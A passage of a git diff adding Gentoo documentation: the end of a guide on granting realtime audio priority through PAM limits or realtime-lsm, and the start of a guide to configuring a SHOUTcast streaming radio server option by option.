+</warn>
+
+<impo>
+Since Linux kernel version 2.6.24, capabilities can't be compiled as a module
+anymore. For this reason, as it will be repeated soon, you won't be able to use
+<c>realtime-lsm</c> anymore.
+</impo>
+
+</body>
+</section>
+<section id="rtgroup">
+<title>Creating a realtime group</title>
+<body>
+
+<p>
+This step is not mandatory; specifically if you're going to use the last version
+of <c>realtime-lsm</c>, the group will be created for you; the group will also
+be created by installing newer versions of PulseAudio ebuild (0.9.6-r1; see the
+notes at the end of the document). Creating the user here won't hurt anyway, as
+the ebuilds will gladly accept the manually-created group.
+</p>
+
+<p>
+It's more important to add your own user to the realtime group, so that it can
+use the feature you're enabling. Depending on your setup, it might be your
+normal user account, or a specifically-created account that you only use to use
+the multimedia applications requiring realtime support. In the example we'll use
+the <path>musician</path> user, which you should replace with your own user.
+</p>
+
+<pre caption="Create the realtime group, and add a user to it">
+# <i>groupadd realtime</i>
+# <i>usermod -a -G realtime musician</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Option 1: Using Linux rlimits with PAM</title>
+<body>
+
+<note>
+As mentioned earlier, there are two options for getting realtime to work, <c>pam</c>
+and <c>realtime-lsm</c>. If you don't want to use <c>pam</c>, skip down to <uri
+link="#rt-lsm">Option 2: Using realtime-lsm</uri>.
+</note>
+
+<p>
+The recommended way to enable realtime priority support for Linux on recent
+kernels (2.6 series) is to use rlimits to enable a user or a group to allow them
+the use of the realtime priority.
+</p>
+
+<p>
+Linux rlimits contain two values for limit:, one is the hard limit, the other is
+the soft limit. The hard limit describes the maximum value the user can request
+(through <c>ulimit</c>), while the soft limit (that always has to be lower than
+the other one) defines the default value given to the user's (or group's)
+processes.
+</p>
+
+<p>
+To set the rlimit for realtime priority, at the moment, the only choice is to
+use the <path>pam_limits</path> module, shipped with Linux-PAM
+(<c>sys-libs/pam</c>): when this module is executed, the limits are read from
+<path>/etc/security/limits.conf</path> and set accordingly.
+</p>
+
+<p>
+The default configuration for PAM-based logins already execute the limit, both
+with console login and with graphical logins like XDM and similar. On the other
+hand, to make sure the limits are respected by the services started through init
+scripts and by processes run via cron, the <b>pam</b> USE flag should be enabled
+on the two respective packages (<c>sys-apps/baselayout</c> and at least for
+<c>sys-process/vixie-cron</c> <!-- I'm not sure about other crons, if someone has
+more information about this, it would be nice to integrate that, although an
+rlimits guide would be probably more useful -->).
+</p>
+
+<note>
+The <b>pam</b> USE flag in baselayout only affects the behaviour of
+<c>start-stop-daemon</c>, enabling the use of <path>pam_limits</path>.
+Unfortunately, not every service can be started through that command, which
+means that for those services, the limits configuration will not apply and
+instead the default values will be used.
+</note>
+
+<p>
+The name of the rlimit is <b>rtprio</b> and can be seen by using the <c>ulimit
+-r</c> command. By default every user has a hard (and thus also soft) limit of
+0. The value of the <b>rtprio</b> limit is the maximum realtime priority a
+process can get: the higher the value, the more priority the process is given;
+for most multimedia uses, a value of 10 is usually suitable, and is also the
+default requested by JACK.
+</p>
+
+<p>
+To change the default values (that don't allow to use realtime priority to
+users), you have to edit the file <path>/etc/security/limits.conf</path>, adding
+the following lines:
+</p>
+
+<pre caption="Allowing the realtime group to use realtime priority">
+*               hard    rtprio          0
+*               soft    rtprio          0
+@realtime       hard    rtprio          20
+@realtime       soft    rtprio          10
+</pre>
+
+<p>
+The <b>@</b> sign in the front of realtime tells <c>pam_limits</c> that the
+limit has to be applied to a group, rather than an user. The limits in the above
+example are set so that the user gets a default realtime priority limit of 10
+(which means that software like JACK will just work out of the box), while
+allowing the users to temporarily change their limit to 20 for special cases and
+testing.
+</p>
+
+<note>
+The first two lines are really needed, otherwise when changing user from a
+realtime-enabled user to a limited one through <c>su</c> or <c>sudo</c>, the
+limit will not be applied. This is a design constrain of <path>pam_limits</path>.
+</note>
+
+<p>
+Depending on the needs and the setup you're using, you might need to tweak the
+limit values to set an higher realtime priority default.
+</p>
+
+</body>
+</section>
+<section id="rt-lsm">
+<title>Option 2: Using realtime-lsm</title>
+<body>
+
+<warn>
+Since Linux kernel version 2.6.24 this is no more an option, as capabilities
+can't be built into a module, and external security modules can't be compiled
+anymore. This option is still documented for older versions of the kernel, for
+people not using PAM, but it cannot be supported anymore.
+</warn>
+
+<p>
+Now, we'll see how to configure <c>realtime-lsm</c> to allow realtime priority.
+This is the most commonly-documented way to get this feature, although it's not
+the preferred way to do it. The advantage of <c>realtime-lsm</c> is that
+configuration is almost automatic, and works even when not using PAM and on any
+login method (direct, SSH, services running since boot in the system, ...).
+</p>
+
+<p>
+The first step is to enable capabilities as a module, which is a requirement for
+this method to work, as stated earlier, and make sure to add <b>capability</b>
+to the list of automatically loaded modules in
+<path>/etc/modules.autoload.d/kernel-2.6</path>.
+</p>
+
+<pre caption="Kernel configuration to make capabilities a module">
+Security options ---&gt;
+  [*] Enable different security models
+  &lt;M&gt;   Default Linux Capabilities
+</pre>
+
+<p>
+The next step is to install <c>sys-apps/realtime-lsm</c>. The immediate next
+step depends vastly on the version of <c>realtime-lsm</c> you'll be using. The
+last version, at the time of writing this guide, is 0.8.5-r2, which already
+provides usable defaults, identical to the ones that this guide will provide.
+For older versions, you'll have to create the <c>realtime</c> group
+manually, following the <uri link="#rtgroup">Creating a realtime group</uri>
+section, and then configure the module by hand.
+</p>
+
+<pre caption="Sample configuration for the realtime-lsm module">
+options realtime gid=1017
+</pre>
+
+<p>
+The <b>gid</b> parameter should point to the numerical group id of the
+<c>realtime</c> group. To find out which one it is, just use the <c>getent</c>
+command, and look at the third entry in the list:
+</p>
+
+<pre caption="Finding out the group id for the realtime group">
+# <i>getent group realtime</i>
+realtime:x:1017:musician
+</pre>
+
+<note>
+The numerical group id will be quite different if you added the group by hand:
+1017 is a possible value for a group when added by an ebuild.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Applications notes</title>
+<section>
+<title>PulseAudio</title>
+<body>
+
+<p>
+PulseAudio (<c>media-sound/pulseaudio</c>) is a non-professional audio daemon;
+the design of this software still allows for meaningful use of realtime
+priority.
+</p>
+
+<p>
+As PulseAudio can run either with a system-wide instance, that runs under its
+own user, or as multiple instances launched by the user as needed, the code
+detects the ability to use realtime priority by checking the availability of a
+realtime group. As up to now there was no official way to handle this, up to
+version 0.9.6, the ebuild created a <c>pulse-rt</c> group, and assumed that
+being the realtime group.
+</p>
+
+<p>
+As of version 0.9.6-r1, the <c>pulse-rt</c> group has been replaced with the
+<c>realtime</c> group discussed in this guide, so following this guide and
+installing a new version of PulseAudio should be enough to make it work, with a
+couple tweaks that will be now described.
+</p>
+
+<p>
+The first important thing is to make sure that the <b>caps</b> USE flag is
+enabled for PulseAudio: this will make sure that when run with enhanced
+privileges, the ones that are not needed anymore can be dropped right away.
+</p>
+
+<pre caption="Verify that PulseAudio has capabilities enabled">
+# <i>emerge -pv pulseaudio</i>
+
+These are the packages that would be merged, in order:
+
+Calculating dependencies... done!
+[ebuild   R   ] media-sound/pulseaudio-0.9.6-r1  USE="-X alsa avahi caps hal -jack -lirc -oss -tcpd" 0 kB
+</pre>
+
+<p>
+Then, if you run a system-wide instance, you have to add the <c>pulse</c> user
+(which PulseAudio runs under) to the <c>realtime</c> group you created, so that
+it can make proper use of realtime priority.
+</p>
+
+<pre caption="Adding the pulse user to the realtime group">
+# <i>usermod -a -G realtime pulse</i>
+</pre>
+
+<p>
+At the next restart of the <c>pulseaudio</c> service, it will be executed with
+realtime priority to reduce playback latency.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/sound/shoutcast/images/OnDemandContent.jpg b/xml/htdocs/proj/en/desktop/sound/shoutcast/images/OnDemandContent.jpg
new file mode 100644
index 00000000..4c75b0a2
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/shoutcast/images/OnDemandContent.jpg
diff --git a/xml/htdocs/proj/en/desktop/sound/shoutcast/index.xml b/xml/htdocs/proj/en/desktop/sound/shoutcast/index.xml
new file mode 100644
index 00000000..71d5492c
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/shoutcast/index.xml
@@ -0,0 +1,811 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<guide link="index.xml">
+<title>Streaming Radio With SHOUTcast</title>
+
+<author title="Main Author">
+	<mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+This guide will walk through the steps needed to setup a streaming radio server with SHOUTcast Server and SHOUTcast Trans.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>02 Sept 2004</date>
+
+<chapter>
+<title>Setting up SHOUTcast Server</title>
+<section>
+<title>Installing the files</title>
+<body>
+<p>
+The SHOUTcast Server can be found in media-sound/SHOUTcast-server-bin.  You can install it with the following command:
+</p>
+<pre caption="Emerging SHOUTcast">
+emerge shoutcast-server-bin
+</pre>
+<p>
+SHOUTcast Server will now be installed.  The next step is configuring your new SHOUTcast Server.
+</p>
+</body>
+</section>
+<section>
+<title>Configuring SHOUTcast Server</title>
+<body>
+<p>
+Now that SHOUTcast Server is installed, it must be configured.  The configuration file can be found in /etc/shoutcast/sc_serv.conf.  Let's begin with the configuration.  Make sure you are root, and open the configuration file with your favorite editor.  I choose vi for this example.  Now I'll bring up the file with vi:
+</p>
+<pre caption="Opening the configuration file">
+root@secures ~ # vi /etc/shoutcast/sc_serv.conf
+</pre>
+<p>
+This will bring up the SHOUTcast Server configuration file for viewing.  From there you will see the configuration file and the different options that you can set.  Let's take a look on how to setup these particular options.
+</p>
+</body>
+</section>
+<section>
+<title>Mandatory Options</title>
+<body>
+<pre caption="Setting the user limit">
+; MaxUser.  The maximum number of simultaneous listeners allowed.
+; Compute a reasonable value for your available upstream bandwidth (i.e. if
+; you have 256kbps upload DSL, and want to broadcast at 24kbps, you would
+; choose 256kbps/24kbps=10 maximum listeners.)  Setting this value higher
+; only wastes RAM and screws up your broadcast when more people connect
+; than you can support.
+MaxUser=10
+</pre>
+<p>
+This is where the maximum number of users is set.  As the caption states, it is foolish to setup 100 users on a 256kbs upload (This is what I have set, as my upload is about that).  If you're running SHOUTcast Server to serve a LAN, you can probably set this MUCH higher (to the 100 mentioned easily).  Please remember to not abuse whatever bandwith you are using though.  Bandwith is a high cost to ISP's and service providers, and some will cut your account, fine you high costs to makeup, or both.
+</p>
+<pre caption="Setting the password">
+; Password.  While SHOUTcast never asks a listener for a password, a
+; password is required to broadcast through the server, and to perform
+; administration via the web interface to this server.  This server should
+; consist of only letters and numbers, and is the same server your broadcaster
+; will need to enter in the SHOUTcast Source Plug-in for Winamp.  THIS VALUE
+; CANNOT BE BLANK.
+Password=a_hard_to_crack_password
+</pre>
+<p>
+Here is where you setup the password.  The password itself is clear text.  For security purposes, I STRONGLY recommend that you don't use passwords that are used to access critical system components or other sensitive information.  Make this as random as possible, with a combination of letters and numbers.  This password will be what SHOUTcast Trans (or any other content provider) will use to connect and provide streaming content.
+</p>
+<pre caption="Setting up your listening port">
+; PortBase. This is the port number your server will run on.  The
+; value, and the value + 1 must be available.  If you get a fatal error when
+; the DNAS is setting up a socket on startup, make sure nothing else on the
+; machine is running on the same port (telnet localhost portnumber -- if you
+; get connection refused then you're clear to use that port).  Ports less than 1024
+; may require root privledges on *nix machines.  The default port is 8000.
+PortBase=8000
+</pre>
+<p>
+This value sets up what port that users will connect to on your SHOUTcast Server.  The default is 8000, as it is what most mp3 server capable programs will default to this (xmms, winamp, etc.).  As it states, if you wish to use a port less than 1024, you need to be root.  However, I strongly urge against using any of these ports for your SHOUTcast Server.
+</p>
+<pre caption="Setting up logging">
+; LogFile: file to use for logging. Can be '/dev/null' or 'none'
+; or empty to turn off logging. The default is ./sc_serv.log
+; on *nix systems or sc_serv_dir\sc_serv.log on win32.
+; Note: on win32 systems if no path is specified the location is
+; in the same dir as the executable, on *nix systems it is in the
+; current directory.
+LogFile=/var/log/SHOUTcast.log
+</pre>
+<p>
+This is where the log file is located for your SHOUTcast Server.  The ebuild has it set to /dev/null, so you will need to change it in order to get a real log.  I have it setup in the basic /var/log location.  You can have it log to wherever you need it to.
+</p>
+<pre caption="Enabling real time stats">
+; RealTime displays a status line that is updated every second
+; with the latest information on the current stream (*nix and win32
+; console systems only)
+RealTime=0
+</pre>
+<p>
+This displays information on the current song every second to stdout.  This is disabled by the ebuild so that SHOUTcast can run as silent a daemon as possible.  Set this to 1 if you want these secondly updates.  However, I do recommend to use the status page instead.
+</p>
+<pre caption="Enabling real time logging">
+; ScreenLog controls whether logging is printed to the screen or not
+; on *nix and win32 console systems. It is useful to disable this when
+; running servers in background without their own terminals. Default is 1
+ScreenLog=0
+</pre>
+<p>
+This is disabled by default in the ebuild to, once again, run as silent a daemon as possible.  This will log to stdout any events (connects, disconnects, etc), as they happen in realtime.  However, because the log file does the same thing, I recommend using it instead.
+</p>
+<pre caption="Setting the last number of songs displayed">
+; ShowLastSongs specifies how many songs to list in the /played.html
+; page.  The default is 10.  Acceptable entries are 1 to 20.
+ShowLastSongs=10
+</pre>
+<p>
+Just as it states, this value will set how many songs back /played.html will display.  If you put more than 20, you should probably consider more coffee.
+</p>
+<pre caption="Setting up filesystem modification logging">
+; TchLog decides whether or not the DNAS logfile should track yp
+; directory touches.  Adds and removes still appear regardless of
+; this setting.
+; Default is yes
+; TchLog=yes
+</pre>
+<p>
+This setting is used to enable or disable logging for directory modifications by the DNAS (Distributed Network Audio Server), or SHOUTcast for short.  Recommended for those who wish to have the most secure logging possible.  Basic home/casual users probably don't need this.
+</p>
+<pre caption="Enabling http request logging">
+; WebLog decides whether or not hits to http:// on this DNAS will
+; be logged.  Most people leave this off because the DSP plug-in
+; uses http:// calls to update titles and get the listener count,
+; which takes up a lot of log space eventually.  If you want to
+; see people making hits on your admin.cgi or index pages, turn
+; this back on.  Note that this setting does NOT affect XML stats
+; counters for hits to http:// pages.
+; Default is no.
+; WebLog=no
+</pre>
+<p>
+This specifies whether or not you want to log hits to the http server that SHOUTcast provides.  Once again, recommended for those who wish the most secure logging possible, but not recommended for home/casual users.
+</p>
+<pre caption="Enabling W3C Logging">
+; W3CEnable turns on W3C Logging.  W3C logs contain httpd-like accounts
+; of every track played for every listener, including byte counts those listeners
+; took.  This data can be parsed with tools like Analog and WebTrends, or given
+; to third parties like Arbitron and Measurecast for their reporting systems.
+; Default is Yes (enabled).
+W3CEnable=Yes
+
+; W3CLog describes the name of the logfile for W3C logging.  Default logfile is
+; sc_w3c.log, in the same directory wherever the DNAS gets started from.
+W3CLog=/dev/null
+</pre>
+<p>
+the first option enables W3C logging.  This type of logging is easily parsable by the recommended programs listed.  Highly recommended for those who wish to have the most in depth statistics possible.  The second option specifies where to store the W3C log.  This is set to /dev/null by the ebuild.
+</p>
+</body>
+</section>
+<section>
+<title>Network Configuration</title>
+<body>
+<pre caption="Setting the source IP">
+; SrcIP, the interface to listen for source connections on (or to make relay
+; connections on if relaying). Can and usually will be ANY or 127.0.0.1
+; (Making it 127.0.0.1 will keep other machines from being able to
+; broadcast using your SHOUTcast Server )
+SrcIP=ANY
+</pre>
+<p>
+The SrcIP variable sets what IP streaming content is comming from.  This can be another server (relaying), localhost (regular), or any other IP that your interface supports.  Setting to localhost prevents any other server from accessing your SHOUTcast Server as a broadcast source.  The default is ANY, and will cause your SHOUTcast Server to source from any IP.  Better idea security wise to set this to something specific.
+</p>
+<pre caption="Setting the destination IP">
+; DestIP, IP to listen for clients on (and to contact yp.SHOUTcast.com)
+; can and usually will be be ANY. If your machine has multiple IP addresses,
+; set this to the one you want it to be accessed by.
+DestIP=ANY
+</pre>
+<p>
+This sets up what IP on your interface you wish to have as the IP that users connect to.  This can be localhost (if you're anti-social and wish only to stream to yourself), a private IP (192.168.0.101 for hosting to a local lan), or your external IP (409.204.249.201 for streaming to a WAN, but not a LAN).  In most cases, you can reach your own stream by using 127.0.0.1 instead of what is listed here.  ANY lets your SHOUTcast Server bind to all IP addresses on all avaliable interfaces.
+</p>
+<pre caption="Setting proxy/yp.SHOUTcast.com port">
+; Yport, port to connect to yp.SHOUTcast.com on. For people behind caching
+; webproxies, change this to the alternate port (666 is what it might be,
+; check www.SHOUTcast.com if you have problems). Otherwise, leave this at 80.
+; We're actively working on re-opening port 666, but as of release the only
+; working port is port 80.
+Yport=80
+</pre>
+<p>
+This has 2 functions.  First is the port to connect to yp.SHOUTcast.com with.  yp.SHOUTcast.com is nullsoft's page for public servers so users know where to listen in on.  Users can search for your station from this page.  The secondary use is for web proxies.  Set this to the port you use for proxy connects, and set DestIP to your proxy for streaming.
+</p>
+<pre caption="Setting up reverse DNS">
+; NameLookups.  Specify 1 to perform reverse DNS on connections.
+; This option may increase the time it takes to connect to your
+; server if your DNS server is slow.  Default is 0 (off).
+NameLookups=0
+</pre>
+<p>
+This options specifies whether or not you want to preform reverse DNS on clients.  This would take their host and give you an IP.  Use this for logging purposes to create a more detailed report.
+</p>
+<pre caption="Setting up relaying">
+; RelayPort and RelayServer specify that you want to be a relay server.
+; Relay servers act as clients to another server, and rebroadcast.
+; Set RelayPort to 0, RelayServer to empty, or just leave these commented
+; out to disable relay mode.
+; RelayPort=8000
+; RelayServer=192.168.1.58
+</pre>
+<p>
+This specifies that you are acting as a relay server.  Relay servers are often used to take a low bandwith connection that can only stream to one client, and use its own higher bandwith to serve to more clients.  Relay port specifies the port and IP address of the SHOUTcast Server you wish to relay for.  Comment this out if you don't plan on using your server as a relay.
+</p>
+</body>
+</section>
+<section>
+<title>Server Configuration</title>
+<body>
+<pre caption="Setting the admin password">
+; AdminPassword.  This password (if specified) changes the
+; behavior of Password to be a broadcast-only password, and
+; limits HTTP administration tasks to the password specified
+; here.  The broadcaster, with the password above, can still
+; log in and view connected users, but only the AdminPassword
+; will grant the right to kick, ban, and specify reserve hosts.
+; The default is undefined (Password allows control for both
+; source and admin)
+; AdminPassword=adminpass
+</pre>
+<p>
+Setting this will create a broadcaster and administrator.  The broadcaster can log in with Password, and view connections.  However, should the person want to kick/ban/administer the server, they must have the Admin password.  Using this creates more specific roles for your server.  This is recommended for instances where the system administrator is not the same person as the broadcaster.
+</p>
+<pre caption="Setting up auto user disconnect">
+; AutoDumpUsers controls whether listeners are disconnected if the source
+; stream disconnects. The default is 0.
+AutoDumpUsers=0
+</pre>
+<p>
+This specifies whether or not users are kicked out if the stream disconnects for any reason.  This is set to 0, so that clients will either timeout themselves, or keep trying to buffer a stream.  Use this if you expect short interruptions at any time.
+</p>
+<pre caption="Setting up the source timeout">
+; AutoDumpSourceTime specifies how long, in seconds, the source stream is
+; allowed to be idle before the server disconnects it. 0 will let the source
+; stream idle indefinately before disconnecting. The default is 30.
+AutoDumpSourceTime=30
+</pre>
+<p>
+This specifies when the SHOUTcast Server should give up waiting for a source (mainly a relay server) to stream content from.  30-60 should be reasonable enough values for this.
+</p>
+<pre caption="Setting up the content directory">
+; ContentDir specifies the directory location on disk of where to stream
+; on-demand content from.  Subdirectories are supported as of DNAS 1.8.2.
+; Default is ./content/, meaning a directory named content in the same directory; as where sc_serv was invoked from.
+ContentDir=/opt/SHOUTcast/content/
+</pre>
+<p>
+The ContentDir specifies where to put on demand content.  For example, if you wish to stream an announcement to employees, you could use this for that purpose.  The SHOUTcast Server ebuild supplies a directory /opt/SHOUTcast/content for you.  To use this, put an mp3 in the content directory, then point your browser to http://example.com:[port]/content/mp3name.pls.  SHOUTcast Server will autmatically create a streaming media compatible playlist for the mp3, and stream it on demand.  Use this as an alternative to SHOUTcast Trans for streaming media source.
+</p>
+<pre caption="Setting up an intro file">
+; IntroFile can specify a mp3 file that will be streamed to listeners right
+; when they connect before they hear the live stream.
+; Note that the intro file MUST be the same samplerate/channels as the
+; live stream in order for this to work properly. Although bitrate CAN
+; vary, you can use '%d' to specify the bitrate in the filename
+; (i.e. C:\intro%d.mp3 would be C:\intro64.mp3 if you are casting at 64kbps).
+; The default is no IntroFile
+; IntroFile=c:\intro%d.mp3
+</pre>
+<p>
+This is where you can have an intro file.  Everytime users connect, they'll hear this file played.  As it states, the stream bitrate and the intro song bitrate must match, or else things will break.  You can, however, put something such as intro128.mp3 and intro64.mp3, and it will play intro128.mp3 to users connecting to a 128kbps stream, and intro64 users connecting at 64kbps.
+</p>
+<pre caption="Setting up a back file">
+; BackupFile can specify a mp3 file that will be streamed to listeners over
+; and over again when the source stream disconnects. AutoDumpUsers must be
+; 0 to use this feature. When the source stream reconnects, the listeners
+; are rejoined into the live broadcast.
+; Note that the backup file MUST be the same samplerate/channels as the
+; live stream in order for this to work properly. Although bitrate CAN
+; vary, you can use '%d' to specify the bitrate in the filename
+; (i.e. C:\backup%d.mp3 would be C:\backup32.mp3 if you are casting at 32kbps).
+; The default is no BackupFile
+; BackupFile=C:\intro%d.mp3
+</pre>
+<p>
+This is the same as above, but will be played when the stream source ends, instead of when users disconnect.  This will only work if AutoDumpUsers is set to 0.
+</p>
+<pre caption="Setting up a title format">
+; TitleFormat specifies a format string for what title is sent to the listener.
+; For example, a string of 'Justin Radio' forces the title 'Justin Radio' even
+; when the source changes the title. You can use up to one '%s' in the string
+; which lets you contain the title from the source. For example, if your
+; TitleFormat is 'Justin Radio: %s', and the source plug-in's title is
+; 'Billy plays the blues', then the net title is
+; 'Justin Radio: Billy plays the blues'. Note: only works on non-relay servers.
+; The default is no format string.
+TitleFormat=Chris Gentoo Beats: %s
+</pre>
+<p>
+This sets up a non-variable title for your Shotucast server.  Use this if your source stream differs from your SHOUTcast Server's name.  This will NOT work with really servers.
+</p>
+<pre caption="Setting up a URL format">
+; URLFormat specifies a format string for what url is sent to the listener.
+; Behaves like TitleFormat (see above).
+; The default is no format string.
+; URLFormat=http://www.server.com/redirect.cgi?url=%s
+</pre>
+<p>
+Same as title format, but instead the URL listed above is used instead of the source stream's url.
+</p>
+<pre caption="Setting up the public status of a source stream">
+; PublicServer can be always, never, or default (the default, heh)
+; Any setting other than default will override the public status
+; of the source plug-in or of a SHOUTcast Server that is being relayed.
+PublicServer=default
+</pre>
+<p>
+This sets up whether or not you want to be listed as a public server, even if your relay server/source plugin is listed as such.
+</p>
+<pre caption="Allowing relaying">
+; AllowRelay determines whether or not other SHOUTcast Servers will be
+; permitted to relay this server.  The default is Yes.
+AllowRelay=Yes
+</pre>
+<p>
+This setting decides whether or not other servers can relay your content.  If you don't think you'll ever relay at all, set this to No.
+</p>
+<pre caption="Allowing relays to publically display the source">
+; AllowPublicRelay, when set to No, will tell any relaying servers not
+; to list the server in the SHOUTcast directory (non-public), provided
+; the relaying server's Public flag is set to default.  The default is
+; Yes.
+AllowPublicRelay=Yes
+</pre>
+<p>
+Set this to decide whether or not you wish to be listed in the SHOUTcast public directory, even if the server you're relaying too is.  Note that PublicServer can over-ride this setting.
+</p>
+<pre caption="Setting MetaInterval">
+; MetaInterval specifies how often, in bytes, metadata sent.
+; You should really leave this at the default of 32768, but the option is
+; provided anyway.
+MetaInterval=32768
+</pre>
+<p>
+Just leave this as is.
+</p>
+</body>
+</section>
+<section>
+<title>Access Configuration</title>
+<body>
+<pre caption="Setting the max listner time">
+; ListenerTimer is a value in minutes of maximum permitted time for
+; a connected listener.  If someone is connected for longer than this
+; amount of time, in minutes, they are disconnected.  When undefined, ; there is no limit defined.  Default is undefined.
+; ListenerTimer=600
+</pre>
+<p>
+I'm not to sure why you'd need this one.  Basically, if a user is on for too many minutes, disconnect them.  Only thing I can think of is to kick idlers off, or people you think should be doing other things than listening to your stream.  Value is measured in minutes.
+</p>
+<pre caption="Setting up the ban file">
+; BanFile is the text file sc_serv reads and writes to/from
+; for the list of clients prohibited to connect to this
+; server.  It's automatically generated via the web
+; interface.
+; BanFile=sc_serv.ban
+</pre>
+<p>
+This is the filename for the list of clients that are banned from your server.  The default is sc_serv.ban, but you can use whatever name you so desire with this setting.
+</p>
+<pre caption="Setting the Rip list">
+; RipFile is the text file sc_serv reads and writes to/from
+; for the list of client IPs which are *ALWAYS* permitted
+; to connect to this server (useful for relay servers).
+; This file is automatically generated via the web
+; interface.  Note that if your server is FULL, and someone
+; from a Reserved IP connects, the DNAS will force the person
+; listening for the longest time off to make room for the new
+; connection.
+; RipFile=sc_serv.rip
+</pre>
+<p>
+As grim as it sounds, Rip actually stands for "Reserved IP".  Use this for your friends or other people you consider more important than random users.  If you are currently streaming to the max number of users possible, and one of your rip members tries to get on, it will kick the longest listening person from the server to get them on.
+</p>
+<pre caption="Setup if Rip only users can access your server">
+; RipOnly, when set to Yes, will only allow IP addresses listed in the Reserved
+; IP list to connect and relay.  All other connections for listening will be denied.
+; This is really only useful for servers whose sole purpose is to provide the
+; primary feed to all public relays.  Setting this value to Yes also forces the
+; server into Private mode, since listing this server in the directory would
+; be pointless.  Default is No.
+; RipOnly=No
+</pre>
+<p>
+This allows for only Rip members to connect to your SHOUTcast Server.  You can either use this for private radio streams, or to make it so that only certain relays will be able to access your stream.
+</p>
+</body>
+</section>
+<section>
+<title>Mass Configuration</title>
+<body>
+<pre caption="Setting Unique variables">
+; Unique: assigns a variable name for use in any config item which points to a
+; file.  Useful for servers running lots of SHOUTcast Servers that have similar
+; configuration parameters, excepting logfile names, banfile names, etc.  Any
+; parameter that takes a pathname can include the character $, which will
+; substitute $ for the variable assigned here.  Keep in mind that the unique
+; variable can only be used after it is defined, so don't try to use a unique
+; variable substitution in a path before you define it.  For example, you
+; could set:
+; Unique=my_server
+; and then define Log=/usr/local/SHOUTcast/$.log in an included configuration
+; file.  Default is Unique=$, so that by default any file with $ in the name
+; won't substitute anything at all.
+</pre>
+<p>
+Basically, if you're running lots of SHOUTcast Servers, it would be a dire pain to change all the log/ban/etc. files to something unique for every configuration.  Instead, you can set Unique to something, and $ will be replaced with whatever Unique is set to.  For example, if one file had Unique=Jazz and another had Unique=Rock, then Log=/var/log/$.log would produce /var/log/Jazz.log on one config file and /var/log/Rock.log on another config file.  Much easier when dealing with multiple SHOUTcast Servers with similiar configurations.
+</p>
+<pre caption="Setting up common configure variables">
+; Include: instructs the sc_serv to read from the named configuration file,
+; *at the point of insertion of the Include statement*, and process as though
+; the included file was part of itself.  Note that all configuration parameters
+; in the DNAS config file are processed first to last, so if an item is defined
+; twice in a configuration, the last item to process will be the one that takes
+; effect.  For this reason, it's usually a good idea to use the Includes first
+; in a config file.
+; example:
+; Include=/usr/local/SHOUTcast/common.conf
+; Default is not applicable.
+</pre>
+<p>
+If you're running multiple SHOUTcast Servers and wish to utilize similar configuration variables without setting them all for each configuration file, you can set this to point to a file that contains settings that are similiar between multiple configurations.
+</p>
+</body>
+</section>
+<section>
+<title>Optimization Configuration</title>
+<body>
+<pre caption="Setup number of CPU's utilized">
+; CpuCount is used to explicitly limit the DNAS to dominating a finite
+; amount of processors in multiprocessor systems.  By default,
+; SHOUTcast creates one thread for every processor it detects in the
+; host system, and assigns listeners equally across all the threads.
+; In the event SHOUTcast doesn't correctly determine the number of
+; CPUs in your host, or if you for whatever reason want to force
+; the DNAS to not use other processors, you can say so here.
+; Default behavior is to use as many processors as the DNAS detects on
+; your system.
+; CpuCount=1
+</pre>
+<p>
+On multiple CPU systems, use this setting to force the SHOUTcast Server to utilize CpuCount # of processors.  The default to assign one thread to each processor, and have listeners across all the threads.  If you set this lower than your total processor count, this will leave processors free to do other things.
+</p>
+<pre caption="Setup data submission gap">
+; Sleep defines the granularity of the client threads for sending data.
+; DNAS 1.7.0, per client thread, will send up to 1,024 bytes of data
+; per socket (or less depending on the window available), and then
+; sleep for the provided duration before repeating the whole process.
+; Note that making this value smaller will vastly increase CPU usage on
+; your machine.  Increasing reduces CPU, but increasing this value too far
+; will cause skips.  The value which seems most optimal for 128kbps
+; streaming is 833 (833 microseconds per client poll) on our test labs.
+; We wouldn't recommend setting it any lower than 100, or any higher than
+; 1,024.  If you have a slower machine, set this number lower to fix
+; skips.
+; Default value is 833.
+; Sleep=833
+</pre>
+<p>
+The SHOUTcast Server will use the sleep value in determining the gap between sending data.  The higher the value, the longer the gap, the lower the value, the shorter the gap and the more CPU usage SHOUTcast Server will take up.  On slower systems, as it states, you might want to lower this so that the SHOUTcast Servers sends data more and more frequently to users.  Best to leave as is.
+</p>
+<pre caption="Setup XML output">
+; CleanXML strips some whitespace and linefeeds from XML output which
+; confuses some (poorly written) XML parsers.  If you get XML rendering errors,
+; try turning this on.  Default is No (off).
+; CleanXML=No
+</pre>
+<p>
+Probably don't need to worry about this setting to much unless you use custom XML parsers to create custom statistics for you server.  If the XML parser cannot handle whitespace and linefeeds in XML, set this to Yes, and all should work.
+</p>
+</body>
+</section>
+<section>
+<title>Configuration Conclusion</title>
+<body>
+<p>
+Your SHOUTcast Server should now be configured.  For businesses that are using SHOUTcast, I recommend turning on WC3 logging, as it is easily parsable, and recommended for created custom statistics.  You should also enable the AdministratorPassword.  You might also wish to enable some of the mass configuration options if you're creating multiple SHOUTcast Servers.
+</p>
+<p>
+With the configuration setup, we'll now work on getting SHOUTcast up and running.  We'll start with simple on demand streaming for a simple startup, then work on SHOUTcast Trans later (as it is somewhat more involved).
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting started with SHOUTcast Server</title>
+<section>
+<title>Setting up on demand streaming</title>
+<body>
+<p>
+On demand streaming, as shown in the configuration chapter, automatically sets up on demand playlists for mp3 files in the content directory.  The Shotucast server ebuild has a directory setup in /opt/SHOUTcast/content for all your on demand mp3's.  Let's get started by creating a simple on demand streaming mp3.
+</p>
+<p>
+First we'll need to get an mp3 from somewhere and put it in the content directory.  We'll take this sample.mp3 file from an /Mp3 directory I have created.
+</p>
+<pre caption="Copying an mp3 to the content directory">
+root@secures /Mp3 # cp sample.mp3 /opt/SHOUTcast/content/
